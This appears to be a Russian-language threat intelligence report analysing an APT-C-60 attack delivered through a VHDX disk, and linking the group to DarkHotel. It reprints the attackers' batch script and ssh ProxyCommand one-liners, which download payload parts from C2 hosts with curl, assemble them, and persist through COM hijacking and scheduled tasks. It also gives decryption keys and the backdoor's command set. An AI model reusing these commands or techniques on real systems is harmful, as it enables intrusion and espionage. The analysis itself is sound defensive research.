- Обнаружена новая атака группировки APT-C-60 с использованием виртуального диска формата VHDX для запуска цепочки атаки.
- Документы внутри виртуального диска позволяют определить, что атака в большей степени нацелена на страны Азии, но не ограничивается только этим регионом.
- Один из дропперов использовался в атаке группировки DarkHotel. На это указывает одинаковый ключ декодирования полезной нагрузки и такое же название исполняемого файла.
- Конечная полезная нагрузка в атаке — ВПО SpyGlace, используемое группировкой APT-C-60.
- В процессе анализа документов из виртуального диска был обнаружен набор метаданных, который позволил найти несколько документов от 2023 года. Цепочка атаки, в которой найденные документы участвовали, атрибутируется к группировке DarkHotel.
- Полученные соответствия позволяют предполагать, что группировки APT-C-60 и APT-Q-12 принадлежат кластеру DarkHotel.
Авторы:

Сергей Самохин
Младший специалист группы исследования сложных угроз департамента TI, PT Expert Security Center

Климентий Галкин
Младший специалист группы киберразведки департамента TI, PT Expert Security Center
Ключевые моменты
Связанные сущности
APT-C-60 — кибершпионская группировка, впервые раскрытая в 2021 году. Основные цели атак включают промышленные организации, в первую очередь производителей полупроводников в Южной Корее, а также объекты в Восточной Азии. Группировка использует фишинговые электронные письма с вредоносными файлами для атак, а также эксплуатирует уязвимости в программном обеспечении, например уязвимости в WPS Office, для установки вредоносного ПО SpyGlace.
APT-Q-12 (Pseudo Hunter) — хакерская группировка, обнаруженная командой центра исследования угроз компании QiAnXin в ноябре 2021 года. Жертвы группировки — азиатские компании из сферы торговли. Цель группировки — кибершпионаж.
DarkHotel — хакерская группировка, обнаруженная «Лабораторией Касперского» в 2014 году. Считается, что группировка активна с 2007 года. Отличительная особенность — атаки на высокопоставленных лиц в сферах бизнеса, производства, государственных структур и других. Предположительно, члены группировки — выходцы из Южной Кореи, а их основная цель — кибершпионаж и слежка за высшим руководством в странах Азиатско-Тихоокеанского региона.
SpyGlace — троян удаленного доступа (RAT), используемый группировкой APT-C-60. Обнаружен в 2022 году экспертами из компании ThreatBook. Распространяется в качестве DLL-файла и имеет большой набор поддерживаемых команд: от скачивания файлов по заданному URL или напрямую с сервера злоумышленника до автоматического сбора файлов пользователя или запуска системных команд.
Введение
В начале сентября 2024 года специалисты группы киберразведки Threat Intelligence (TI) департамента PT Expert Security Center (PT ESC) обнаружили подозрительный образ виртуального диска формата VHDX, что является крайне редким событием при просмотре потока данных. Анализ VHDX и всех связанных файлов позволил атрибутировать эту атаку к группировке APT-C-60. Одну из последних похожих кампаний в июле 2023 года описали в своей статье эксперты компании ThreatBook. Однако при сравнении удалось выделить различия как в файловой иерархии на диске, так и в используемых командах, инструментах. В этой статье мы описали структуру файлов на виртуальном диске, анализ цепочки атаки, поиск дополнительных файлов, а также почему данная атака принадлежит, по нашему мнению, именно к группировке APT-C-60 и как эти злоумышленники связаны с группировкой DarkHotel.
Использование VHDX в атаках
Исследователь Уилл Дорманн в своем посте от 2019 года рассказал, в чем особенность VHDX в Windows и почему виртуальный диск удобно использовать в новых системах для передачи ВПО.
VHDX-файл — это виртуальный диск, который, начиная с Windows 8, можно подключить к системе простым двойным нажатием, и это будет считаться логическим томом до момента выключения системы. Для операционной системы структура файла схожа с обычным ZIP-архивом, об этом сказано ниже.
Кроме того, в статье сказано, что благодаря фаззингу была обнаружена возможность уводить системы в синий экран смерти благодаря подключению специально подготовленного виртуального диска.
Как было сказано ранее, для Windows 8 и более поздних версий ZIP-архив и VHDX-диск могут работать по одному сценарию — двойной клик и отображение содержимого. Только проблема в том, что оба формата не попадают под фильтр MoTW (Mark of the Web), который, например, возникает, когда вы пытаетесь открыть Word-документ, скачанный из интернета (режим Protected View), или когда Windows SmartScreen вас предупреждает об опасности, когда вы запускаете скачанный файл. Было проведено сравнение VHDX с ISO, где заметно, что антивирусные решения не могут проанализировать VHDX-формат, и, как следствие, — удалить из системы. ISO, напротив, сканируется большинством ПО.
Анализ атаки и сопутствующих артефактов
В ходе анализа виртуального диска нами была создана схема, кратко описывающая цепочку атаки. Схема представлена ниже.
Желтым цветом обозначена метаинформация из некоторых файлов цепочки, благодаря которым можно выйти на другие документы. Красный и синий цвета разделяют два разных вектора, по которым может пройти злоумышленник от запуска документа до внедрения ВПО в систему.

Инструменты для анализа виртуального диска
Анализировать VHDX-файл можно и в виртуальной машине, подключив его к системе как логический диск. Но бывают такие моменты, когда хакеры используют один и тот же диск в разных атаках или могут загрузить на диск ошибочный файл. В обоих случаях файл удаляется, но его можно восстановить путем использования специальных программ. Рассмотрим инструменты, которые можно использовать для быстрого анализа диска и восстановления удаленных артефактов. Инструменты представлены в порядке возрастания эффективности их использования при попытках получения файлов из образа:
• binwalk — утилита командной строки, которая позволяет извлекать данные из образов на основе сигнатурных значений, список которых можно найти в исходном коде утилиты. Проблема binwalk при анализе виртуального диска — плохое извлечение файлов. Например, Word-документы разбивались на XML-сущности и складывались в одну директорию.
• volatility — аналог binwalk. Также позволяет извлекать артефакты из образов, в том числе образов энергозависимой памяти (RAM). Утилита имеет профили сборок операционных систем для поиска файлов (типов файлов) по их структуре в выделяемой памяти. Проблема volatility в процессе анализа VHDX — не получилось корректно определить профиль (сборку) ОС.
• Autopsy — универсальный инструмент для исследования образов, который может получать данные из файлов разных типов, физических дисков, сырого образа. Более того, имеет свой набор плагинов для исследований, например, файловой системы iOS. Разумеется, можно писать свои плагины.
• FTK Imager — аналог Autopsy, показавший наилучшие результаты извлечения файлов.
Посмотрим на файловую структуру.

Для отсеивания артефактов, не используемых в атаке, и давно измененных объектов рассмотрим таймлайн изменения файлов на диске.

На основе этого таймлайна можно получить список файлов, который стоит посмотреть:
- Forum_Meeting_Agenda.docx
- Invitation of Chinese Ambassador.lnk
- git.exe
- IPML.txt
- ~Template.docx
Не стоит забывать проводить дополнительный анализ инструментов на предмет найденных файлов. Так, например, Autopsy помещает в директорию $CarvedFiles файлы, которые он смог получить из сырых данных на основе структуры различных типов файлов. Благодаря этому на диске был обнаружен еще один интересный файл — f0001928.xlsx.
Анализ полученных файлов
Forum_Meeting_Agenda.docx
Отправной точкой всего исследования стал именно этот документ, который был обнаружен нашими специалистами в процессе исследования угроз. При дальнейшем исследовании оказалось, что этот документ находится в описанном VHDX. Скриншот этого документа приведен ниже.

В ходе поиска по картинке и по тексту внутри расписания оказалось, что это копия оригинального документа, который является более полным и выглядит следующим образом.

Однако этот файл не является вредоносным. Точка старта атаки — ярлык, о котором рассказано ниже.
LNK-файл
Название файла: Invitation of Chinese Ambassador.lnk
Команда внутри LNK:
S:\S-2-6-6061\mingw64\bin\git.exe "type .\S-2-6-6061\mingw64\bin\IPML.txt | .\S-2-6-6061\mingw64\bin\git.exe" && exit
После использования команды help внутри исполняемого файла, который также находится на VHDX, можно сделать вывод, что git.exe — это на самом деле cmd.exe. В таком случае команда type используется для отображения содержимого текстового файла IPML.txt, чтобы через пайп передать все выведенные команды снова на вход исполняемому файлу.

Вызываемый текстовый файл. Сборка бинарного файла по частям
Название файла: .\S-2-6-6061\mingw64\bin\IPML.txt

Содержимое файла:
rem Microsoft Services Agreement .............
explorer .\S-2-6-6061\mingw64\bin\~Template.docx
reg add HKCU\Software\Classes\CLSID\{F82B4EF1-93A9-4DDE-8015-F7950A1A6E31}\InProcServer32 /ve /t REG_SZ /d "%AppData%\Microsoft\Vault\SecureBootUEFI.dat" /f /reg:64
copy .\S-2-6-6061\mingw64\bin\table.tmp "%temp%\table1A.tmp"
copy /b /y .\S-2-6-6061\mingw64\bin\IPMSA.tmp + .\S-2-6-6061\mingw64\bin\IPMSB.tmp "%temp%\table2B.tmp"
copy /b /y "%temp%\table1A.tmp" + "%temp%\table2B.tmp" "%AppData%\Microsoft\Vault\SecureBootUEFI.tmp"
move "%AppData%\Microsoft\Vault\SecureBootUEFI.tmp" "%AppData%\Microsoft\Vault\SecureBootUEFI.dat" && cls
rem Use Word, Excel, PowerPoint, OneDrive, Teams, Access. This set of apps is best for very small businesses who don't need branded email immediately, or who already use branded email from a different provider and do not intend to switch to use Microsoft Exchange. You'll use Outlook with your existing email account (be it outlook.com, Hotmail, Yahoo, Gmail or other).
Ниже расписано назначение каждой команды в цепочке команды:
- rem — комментарий для скрипта, сами аргументы команды не выводятся в процессе выполнения скрипта.
- explorer — вызывает задачу explorer.exe и открывает файл ~Template.docx.
- reg add — добавляет значение в раздел
HKCU\Software\Classes\,хранящий сведения о приложении, необходимом для поддержки функции COM. Изменения проходят по CSLIDF82B4EF1-93A9-4DDE-8015-F7950A1A6E31,модифицируя значение по ключу InprocServer32, прописывая путь до некого SecureBootUEFI.dat. Такая техника закрепления давно известна, она упоминалась еще в 2018 году в нашем Хабре. Сам CLSID идентифицируется как CLSID Sync Registration, то есть команда инициализирует клиента в провайдере синхронизации, который будет работать постоянно с целью получения и передачи информации в созданной сети устройств. Подробнее: https://learn.microsoft.com/ru-ru/previous-versions/windows/desktop/winsync/windows-sync - copy — формируют из ряда бинарных файлов один исполняемый, который как раз перемещается в директорию
%AppData%\Microsoft\Vault\SecureBootUEFI.dat.
Windows Vault — это защищенное хранилище секретов, паролей и другой персональной информации пользователя и системы. Данные, которые здесь хранятся, структурированы и представляют собой набор записей, принадлежащих определенной схеме Vault.
Итого: запись в реестре позволяет запустить исполняемый файл без механизмов защиты Windows.
~Template.docx
Во время работы скрипта был упомянут запуск некоего файла — ~Template.docx, который, судя по всему, выступает в качестве заглушки, чтобы скрыть подозрительные действия. Если посмотреть метаинформацию файла, можно заметить, что он был сгенерирован с использованием WPS Office версии 11.2.0.11537. Открытие файла в приложении той же версии эксплуатации уязвимостей не выявило: документ не вредоносный. Однако по виду самого файла назвать его заглушкой трудно.

XLSX-файл
Конвертировав VHDX в сырой E01-формат через FTK Image и использовав это как источник данных в Autopsy, удалось получить из образа XLSX-файл, внутри которого есть макрос.


Принцип работы макроса:
- Реализация функции ожидания.
- Инициализация функции-триггера при открытии таблицы.
- Выполнение команды по записи значения переменной %userprofile% во временный файл.
- Чтение этого временного файла и его последующее удаление.
- Создание первого файла index.txt, который хранит в себе четыре первых файла будущего дроппера.
- Добавление значения в реестр для инициализации провайдера синхронизации.
- Получение всех частей дроппера с C2: 192.236.209[.]113/hanmacro/.
- Сборка дроппера в единое целое.
На выходе должен получаться такой же файл SecureBootUEFI.dat, как это происходило бы в кейсе с LNK-файлом. Макрос — единственный вредоносный элемент, который есть в этом файле. В связи с последними атаками APT-C-60, где использовался 0-day в продукции WPS Office, было предположение, что все документы на диске пытаются эксплуатировать уязвимость, но это не так.
Анализ извлеченного ВПО
Stage 1. Дроппер SecureBootUEFI.dat
Собранный файл SecureBootUEFI.dat по результатам анализа является дроппером для полезной нагрузки. DllMain вызывает другую функцию, которая выглядит следующим образом.

Уже в начале кода можно заметить функцию, названную stringDecodev2, которая отвечает за деобфускацию строк в исполняемом файле. Для обфускации строк используется базовый циклический XOR со значением 3.

После этого через функцию ExpandEnvironmentStringsW переменная среды %Appdata% в строке подменяется значением для текущего пользователя, а через LoadLibraryW проверяется наличие файла дроппера в этой директории.

Через CreateThread запускается отдельный поток, в котором будет происходить вся остальная логика дроппера. Вначале поток получает адреса нужных WinAPI-функций из kernel32.dll и wininet.dll. Адреса получаются через вызов GetProcAddress, при этом предварительно деобфусцируются с помощью функции stringDecode, описанной выше, имена необходимых функций.

Затем в переменные сохраняется результат выполнения двух WinAPI-функций: GetComputerNameW и GetUserNameW. Результаты этих функций используются дальше в коде для вычисления названия файлов с полезной нагрузкой, которые должен получить дроппер при обращении к серверу.
В качестве серверов используются две ссылки, которые, как и все другие строки, хранятся в коде в обфусцированном виде. Одна из ссылок ведет на сервис StatCounter, а вторая — на хранилище проекта в BitBucket:
https://c.statcounter.com/13025547/0/0a557459/1/https://bitbucket.org/hawnbzsd/hawnbzsd31/downloads/
Сам дроппер работает непрерывно, отсылая информацию (имя пользователя, имя компьютера, листинг директории) на StatCounter, получая ее с сервиса BitBucket через файлы каждый час. Алгоритм выглядит следующим образом:
- С сервиса BitBucket получаем полезную нагрузку с названием
{Hostname and username XOR 3}_{findDirCount}.A, где Hostname и username — информация, получаемая злоумышленниками из запроса к сервису StatCounter (рисунок 14), аfindDirCount— количество скачиваний и просмотров файла «.A». - Внутри текстового файла «.A» содержатся строки с директориями и файлами, информацию о которых нужно будет передать в заголовке Referer. Например:
%userprofile%\local\Microsoft\Windows\Fonts\*.* - Через WinAPI-функции для работы с файлами, полученными ранее, проходим по всем путям из файла «.A» , получая имя файла в директории и его размер в КБ.
- Каждый новый результат добавляется в строку, которая дальше передается в заголовок Referer.
Пример. Пусть через файл «.A» была получена новая цель — директория. В этой директории находятся следующие объекты:...dir1/textFile1.txt с весом 1 КБtextFile2.txt с весом 4 КБ
Тогда заголовок будет выглядеть следующим образом:Referer: [ . ] , [ .. ] , [ dir1 ] , textFile1.txt(1 KB) , textFile2.txt(4 KB)
- Запрос со сформированным заголовком отправляется на StatCounter.
- С BitBucket через GET-запрос скачивается файл с расширением «.B», о котором будет рассказано ниже. По своей сути этот файл — закодированная DLL-библиотека, которая является следующим дроппером в цепочке атаки.
- В конце цикла отсылается финальный запрос на StatCounter, который выглядит следующим образом:

Структура заголовка для текущей версии дроппера описана ниже:
Referer: [3.1] LIVE>{findDirCount},{downloadsCount}> {Hostname} / %userprofile% / {Hostname and username XOR 3}, где
- findDirCount — количество скачиваний и просмотров файла «.A».
- downloadsCount — количество успешных скачиваний и запусков файла «.B».
На момент написания статьи конкретно в данном хранилище не было никакого файла «.A», и сами файлы полезной нагрузки не генерировались на стороне сервера злоумышленников. Пример полезной нагрузки можно было получить из другого, соседнего хранилища, которое расположено по ссылке https://bitbucket.org/hawnbzsd/hawnbzsd/downloads/.

Помимо этого, на момент написания статьи появилось новое хранилище в этом же пространстве — https://bitbucket.org/hawnbzsd/hawnbzsd32/downloads/. Внутри него находится легитимная утилита Process Explorer (procexp.exe). Получается, что злоумышленники также используют оригинальные форензик-утилиты для своих атак. Этот факт может помочь в дальнейшей атрибуции.

Как было сказано ранее, SecureBootUEFI.dat в своем основном цикле, помимо файла с расширением «.А», скачивает файл «.B», название которого имеет следующий вид: {Hostname and username XOR 3}_{downloadsCount}.B.
После скачивания полезной нагрузки «.B» в закодированном виде происходит декодирование путем использования операции XOR с ключом g73qrc4dwx8jt9qmhi4s.

Полученная полезная нагрузка временно сохраняется в %Userprofile%\\AppData\\Local\\Microsoft\\Windows\\Shell\\Sample.tmp, после чего копируется в %Userprofile%\\AppData\\Local\\Microsoft\\Windows\\Shell\\Service\\Service.dat, временный файл при этом удаляется. Далее Service.dat запускается как библиотека через LoadLibraryW.
Stage 2. Service.dat. Дроппер вредоносного модуля
Название файла (пример): GFPHWLSMPUILOBgnjmjpwqbwlq_1.B → Service.dat
Формирование ключевых строк в файле
Изначально дроппер формирует список строк, которые будут использоваться в будущем для изменения названий файлов на легитимные, а также ряд путей, куда будут попадать файлы следующих стадий. Так же, как и в предыдущем дроппере, в коде присутствует ссылка на сервис BitBucket, но уже на другой проект. Список интересующих нас строк выглядит следующим образом:
- cbmp.txt
- icon.txt
- rapd.txt
- cn.dat
- sp.dat
- https://bitbucket.org/ffg84883/3r23ruytgfdxz/downloads/
- %userprofile%\\appdata\\local\\Microsoft\\windows\\fonts\\cn.dat
- %userprofile%\\appdata\\local\\Microsoft\\windows\\fonts
- %temp%
Далее путь до файла cn.dat проверяется в цикле, уходя на один шаг глубже с каждой итерацией, то есть:
- %userprofile%\\
- %userprofile%\\appdata
- %userprofile%\\appdata\\local и так далее...

Такая циклическая проверка позволяет создать директории, которых не хватает в системе.
После этого высчитывается значение функции GetTickCount, которое позже используется в названии нового файла — %temp%\WOK{GetTickCount}.tmp. Файл содержит зашифрованную информацию, обернутую в Base64. Сам файл при этом не использовался дальше в рамках рассматриваемой стадии.

После того как файлы сформированы, ВПО делает последние проверки и создает последние строки. Во-первых, через функцию PathFileExistW проверяется, существует ли файл cn.dat по пути, указанному в ключевых строках выше. Во-вторых, конкатенируются названия файлов cbmp.txt и icon.txt со ссылкой на репозиторий внутри BitBucket. Только после этого начинается сетевое взаимодействие.
Сетевое взаимодействие
Для начала ВПО получает настройки прокси для текущего пользователя, затем открывает сессию и соединение с сервером с помощью WinHttpConnect, отправляет HTTP-запрос (в данном случае GET), получает и сохраняет ответ в файл. В случае если данных в ответе нет, удаляет созданный файл.

В WinHttpConnect передается сама ссылка на BitBucket, чтобы проверить и установить соединение, а в последующем вызове WinHttpOpenRequest — ссылка на файл cbmp.txt. С помощью WinHttpSendRequest посылается запрос, данные считываются в файлы, пути к которым указаны ниже.

Формирование строк с cn.dat и sp.dat было необходимо для того, чтобы через функции CreateFileW и WriteFile сохранить файлы, загруженные из BitBucket: cbmp.txt и icon.txt соответственно, то есть:
• https://bitbucket.org/ffg84883/3r23ruytgfdxz/downloads/cbmp.txt → cn.dat
• https://bitbucket.org/ffg84883/3r23ruytgfdxz/downloads/icon.txt → sp.dat
Полезные нагрузки хранятся на сервере в зашифрованном виде, поэтому дроппер декодирует Base64, который находится в файле, и проводит операцию XOR с использованием ключа AadDDRTaSPtyAG57er#$ad!lDKTOPLTEL78pE.
Закрепление следующей стадии в системе
По аналогии с дроппером SecureBootUEFI.dat, файл cn.dat закрепляется через использование ключа InProcServer32. В самом коде формируется команда по следующему алгоритму:
- Ищется путь до системной директории
C:\Windows\System32\и формируется путь до файлаreg.exe — C:\Windows\System32\reg.exe. - Формируется строка с ключом в реестре:
Software\\Classes\\CLSID\\{7849596a-48ea-486e-8937-a2a3009f31a9}\\InProcServer32. - Путь до reg.exe, до ключа в реестре, а также до cn.dat объединяются в одну команду:
C:\Windows\System32\reg.exe add \"HKCU\\Software\\Classes\\CLSID\\{7849596a-48ea-486e-8937-a2a3009f31a9}\\InProcServer32\" /ve /t REG_EXPAND_SZ /d \"%userprofile%\\appdata\\local\\Microsoft\\windows\\fonts\\cn.dat\" /fStage 3. Лаунчер вредоносного модуля
Название файла: cbmp.txt → cn.dat
Основное назначение этого модуля — выполнить dll, расположенный в файловой системе по следующему пути:
%userprofile%\appdata\local\Microsoft\Windows\Fonts\sp.dat
В начале работы модуль формирует следующую шифрованную строку:
etoos'wk$$$tvdqsqrehod$_'ssg'w'_orf'o_Lhfqrvrew_Zhmgrzv_Ermwv_vs-g'w
Строки деобфусцируются двумя похожими друг на друга алгоритмами: операция XOR (байт строки + 1) со значением 3 или операция XOR со значением 2, отнимая от результата 1.
В результате строка выше — это полный путь до файла sp.dat:
fullpath%%%userprofile%\appdata\local\Microsoft\Windows\Fonts\sp.dat
От строки отрезается подстрока fullpath%% и подставляется значение переменной %userprofile%, чтобы получить полный путь до файла, который будет в дальнейшем запускаться.
Далее проверяется наличие этого файла. В случае успеха проходимся по списку загруженных модулей с целью найти любой модуль, в названии которого присутствует слово KERNEL (это может быть как kernelbase.dll, так и kernel32.dll). В найденном модуле ищется функция LoadLibraryW (интересно, что сравнивается не оригинальное имя функции, а ее зашифрованный вариант — NsafNi'papy[) и вызывается. В качестве аргумента передается путь к упомянутому выше файлу sp.dat.

Теперь рассмотрим исполняемый файл, подгружаемый через функцию LoadLibrary. Сама библиотека, исходя из анализа, оказалась измененным бэкдором SpyGlace. В ходе исследования было выявлено несколько отличий, о которых будет сказано далее.
Stage 4. ВПО SpyGlace. Модификация GoldBar
Начало работы. Инициализация значений
Весь основной код бэкдора хранится в одной экспортируемой функции DllMain. ВПО начинает свою работу с создания нового потока и создания нового мьютекса. Для создания мьютекса введена отдельная функция, которая расшифровывает предварительное название и передает его как параметр в функцию CreateMutexW — 905QD4994/B.

После создания мьютекса ВПО деобфусцирует несколько нужных для себя значений и записывает их в переменные. Среди таких значений можно выделить используемый C2 103[.]187[.]26[.]176, уникальную строку userid$$$$GOLDBAR (именно по этой строчке мы назвали эту модификацию SpyGlace), а также адрес до сервиса — https://api.ipify.org/. Последний используется для получения текущего IP-адреса жертвы. Для этого формируется новый GET-запрос со следующим заголовком User-Agent:
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)

Обфускация строк. Список команд
В коде ВПО мы обнаружили четыре варианта обфускации строк, не сильно отличающихся друг от друга, которые ранее встречались в дропперах и лаунчерах. Каждый из алгоритмов обфускации используется для получения строк разного типа.
| Алгоритм обфускации | Тип строк |
|---|---|
| XOR 2 | Обфусцированы названия всех библиотек, откуда нужно получить функции |
| XOR 3 | Через такой алгоритм обфусцированы все названия WinAPI-функций |
| (XOR 2) − 1 | Обфусцированы название мьютекса, C2 и все конечные точки API на сервере (command.asp, server.asp и др.), ключ RC4 |
| (XOR 3) − 1 | Обфусцированы команды ВПО, список которых будет представлен ниже |
В результате деобфускации строк в коде удалось получить полный список команд, который поддерживает текущая версия ВПО. Набор команд представлен в таблице ниже.
| Команда | Описание |
|---|---|
| procspawn | Создать новый процесс |
| proclist | Вывести список всех активных процессов |
| prockill | Завершить существующий процесс |
| diskinfo | Получить информацию о диске |
| download | Загрузка на систему жертвы файла, зашифрованного AES. Чаще всего это может быть полезная нагрузка, которая расшифровывается и запускается. Используемый AES-ключ — 0x21A44712685A8BA42985783B67883999 |
| downfree | Загрузка данных, находящихся по определенному URL |
| upload | Включение потока, который выкачивает пользовательские файлы в автоматическом режиме |
| cancel | Переход в cmd shell |
| cmd | Выполнение команды |
| screenupload | Отправка скриншота |
| screenauto | Сделать скриншот |
| cd | Переход в определенную директорию |
| ddir | Запрос информации о директории |
| ddel | Удаление файла или директории |
| ld | Аналог attach |
| attach | Подгрузить DLL |
| detach | Выгрузить DLL |

Сетевое взаимодействие
В процессе работы ВПО постоянно ожидает команду из списка от C2. В случае если команда не получена, в коде запускается функция Sleep на 1 секунду, потом снова ждет команду. Все сетевое взаимодействие работает на том же наборе параметров, который описан ниже: POST-запрос с четырьмя переменными a001—a004.
Сообщения на C2 отправляются в виде параметрического POST-запроса следующего формата:
a001=cc0c2ffe71cf06f8bc907b4a1276d586&a002=505096be4efb32718a663d4804f24b84&a003=uid&a004=JbMpXS9eAA==
где:
- a001 — MD5-хеш от ключа RC4. В данном случае ключ RC4 — GOLDBAR.
- a002 — MD5-хеш от строки (дата установки ОС + имя компьютера + имя пользователя).
- a003 — тип отправляемых данных. Может, например, принимать значения uid, info. В зависимости от выбранного значения в переменную a004 будут подставлены разные данные.
- a004 — основная информация, собираемая с системы. Записывается в виде Base64 (зашифрованные RC4 данные).
В случае если, например, в параметре a003 выбрано значение info, то в a004 будет зашифрована информация об имени компьютера и пользователя, IP-адресе, модели и архитектуре процессора, версии и номере сборки ОС.
Помимо набора параметров a001—a004, в ВПО используется еще два других: b0-параметры (b001—b004) и c0-параметры (c001—c007). Первая группа используется в командах, которые занимаются скачиванием файлов, вторая — во время отгрузки файлов жертвы на сервер злоумышленников.
При отправке файлов, которые не являются скриншотами, код работает следующим образом:
- Получает информацию о файле (его название, размер, найден ли такой файл в системе и др.).
- Формирует POST-запроc на C2 с набором параметров c001—c007.
- Считывает байты файла в буфер.
- Шифрует байты алгоритмом RC4, затем к шифрованным данным применяет аналог функции itoa.
- Снова формирует новый POST-запрос, в котором без параметров отсылает полученный зашифрованный файл.


Как только команда получена от сервера, запускается один из пяти потоков, каждый из которых отвечает за свой функционал: отправка запросов на сервер с целью получения новых команд, запись действий на экране, выполнение команд, кража пользовательских файлов и возврат результатов выполнения команд на сервер.

Отличия от других версий SpyGlace
Если эксперты из компании ThreatBook в 2022 году атрибутировали пейлоад бэкдора SpyGlace (TaskController.dll) к группировке APT-C-60, в том числе благодаря экспортируемой функции extension, то в этой версии от эскортируемых функций решили отказаться, оставив только DllMain. Однако сама строка с названием функции осталась в исполняемом файле.
Помимо этого, стоит сказать, что в исполняемом файле достаточно много строк, которые могут вовсе не использоваться. Это произошло потому, что в текущей версии удалена часть функционала, но не полностью. Например, в том же отчете рассказывается про функцию, запускающую файл в определенной директории с определенными расширениями (.exe, .ext, .dll, .dat и др.). В рассматриваемой версии такая возможность тоже есть, но функция, реализующая все возможные запуски, вызывается в начале исполнения кода только один раз.
Также в начале работы исполняемый файл не проверяет время работы системы через функцию GetTickCount. В версии бэкдора из статьи 2022 года исполняемый файл проверяет, что система работает уже более 6 часов.
Атрибуция
Сходства метаинформации в файлах. Поиск похожих файлов
В процессе анализа файла было замечено несколько особых метаполей, по которым можно проводить дополнительный поиск файлов. На первоначальной схеме атаки они обозначены желтым цветом.
Если продолжить поиск метаинформации, можно заметить, что у некоторых документов (конкретно у файлов Forum_Meeting_Agenda.docx и .xlsx) одинаковые значения полей User ID и Owner — panteon.
По такому владельцу удалось обнаружить еще один файл .docx: fire eye list.docx, который распространяется в архиве рядом с ярлыком (ultra.lnk).
Сам ярлык запускает \Windows\System32\OpenSSH\ssh.exe, указывая в качестве параметра ProxyCommand следующую команду:
C:\Windows\System32\OpenSSH\ssh.exe -o ProxyCommand="schtasks /create /f /sc minute /mo 3 /tn upping /tr \"cmd /c DeviceCredentialDeployment & curl http://104.168.169[.]138/sshlink/task.tmp > '%temp%\task.lnk' & timeout 3 & pcalua -a '%temp%\task.lnk' \" " .
Подгружаемый task.lnk хранит внутри себя следующую команду:
C:\Windows\System32\OpenSSH\ssh.exe -o ProxyCommand="cmd.exe /c DeviceCredentialDeployment.exe & schtasks /Delete /tn upping /F & reg.exe add HKCU\Software\Classes\CLSID\{0b91a74b-ad7c-4a9d-b563-29eef9167172}\InProcServer32 /ve /t REG_EXPAND_SZ /d %userprofile%\AppData\Roaming\Microsoft\Crypto\crypt86.dat /f /reg:64 & curl http://104.168.169[.]138/sshlink/index.txt > \"%temp%\index.tmp\" & curl http://104.168.169[.]138/sshlink/index1.tmp > \"%temp%\index1.tmp\" & curl http://104.168.169[.]138/sshlink/index2.tmp > \"%temp%\index2.tmp\" & mkdir \"%userprofile%\AppData\Roaming\Microsoft\Crypto\" & mkdir \"%userprofile%\AppData\Local\Microsoft\Proofs\" & copy /b /y \"%temp%\index.tmp\" + \"%temp%\index1.tmp\" \"%temp%\index1.dat\" & copy /b /y \"%temp%\index.tmp\" + \"%temp%\index2.tmp\" \"%temp%\index2.dat\" & copy /b /y \"%temp%\index1.dat\" \"%userprofile%\AppData\Roaming\Microsoft\Crypto\crypt86.dat\" & copy /b /y \"%temp%\index2.dat\" \"%userprofile%\AppData\Local\Microsoft\Proofs\profapii.dat\" & dir /a & exit "
В этом скрипте можно заметить несколько особенностей:
- Использование такого же раздела реестра с ключом
InProcServer32. - Использование переменной
%userprofile%для записи каких-либо данных. - Сборка бинарного файла по частям, которые скачиваются с C2. Это не BitBucket, но IP-адрес принадлежит тому же хостингу, что и адрес из макроса файла .xlsx.
- Использование в названиях файлов системных слов (crypt, api, secure, uefi и др.), а также расширения .dat.
Сходства с группировкой DarkHotel
В результате работы скрипта собираются два исполняемых файла. Отличительной особенностью обоих файлов является путь до файла .pdb в метаданных файла:
C:\Users\WINUSER\Desktop\SCV\1. Observer\230206_observer_v2.1\observer_v2.0_dll1\observer_v2.0_dll1\x64\Release\observer_v2.0_dll1.pdb
Точно такие же названия файлов, а также путь до файла .pdb упоминались в статье команды Knowsec 404 Advanced Threat Intelligence Team. В нашем случае в LNK-файле собираются файлы со следующими хешами:
crypt86.dat — 99d97b41fa400e2d8c31c8c475b8499078cf000c66e4a4d842d4ffe6d02fdffeprofapii.dat — 4ad5514b5bd7baa05e3c9cdd55e5d19b2bd3ee2664de130590742001b1ca67c3
Продолжая изучение статьи, можно найти схожие признаки:
- Дроппер
SecureBootUEFI.datс таким же ключом для операцииXORво время декодирования полезной нагрузки следующей стадии. - Закрепление дроппера
SecureBootUEFI.datчерез COM-объектF82B4EF1-93A9-4DDE-8015-F7950A1A6E31. - Использование сервисов BitBucket и StatCounter для передачи данных о системе жертвы и получения новых полезных нагрузок.
- Схожий путь до .pdb-файла, о чем было сказано ранее.
Сравнение цепочки атаки с уже известными
Получается, что после исследования найденной нами атаки, появились паттерны, схожие с техниками группировки DarkHotel, а также бэкдор SpyGlace, который, как было сказано ранее, описывали эксперты из ThreatBook при анализе атаки APT-C-60. Рассмотрим пересечения исследований двух компаний с нашей атакой:
- Использование VHD/VHDX-файла, как в атаке APT-C-60 от 21 июля 2023 года.
- Использование сборки дроппера SecureBootUEFI.dat по частям через команду в LNK-файле, как указано в статье про DarkHotel. Также дроппер имеет аналогичную схему закрепления через COM-объект со схожим CLSID.
- Работа с сервисами BitBucket и StatCounter в атаках обеих группировок.
- Использование модификации бэкдора SpyGlace, описанного в статье компании ThreatBook от 20 декабря 2022 года про группировку APT-C-60 . Сами изменения в ВПО можно считать незначительными.
Сходства с группировкой APT-Q-12
Схожесть цепочки атаки была обнаружена и в статье экспертов из компании QiAnXin от 28 августа 2024 года, в которой анализировалась атака группировки APT-Q-12. Из этого исследования также можно почерпнуть несколько схожих моментов:
- Закрепление дроппера через CLSID и значение реестра InProcServer32.
- Взаимодействие с сервисами StatCounter и BitBucket внутри дроппера, последующая расшифровка скачанной полезной нагрузки.
- Расшифровка полезной нагрузки из .tmp-файла, зашифрованного по стандарту AES с определенным ключом, как это происходит в бэкдоре SpyGlace.
Эксперты из компании QiAnXin также утверждают, что есть некоторое количество группировок, которые можно отнести к одному кластеру: APT-Q-11 (ShadowTiger), APT-Q-12 (Pseudo Hunter), APT-Q-14 (ClickOnce), APT-Q-15, UTG-Q-005 и DarkHotel.
Исходя из обнаруженной нами атаки и набора соответствий можно говорить как минимум об одной связи между группировками APT-C-60, APT-Q-12 и Dark Hotel. Взаимосвязь этих группировок можно проследить по описанным пунктам в статье, которые отображены на схеме следующим образом.

Выводы
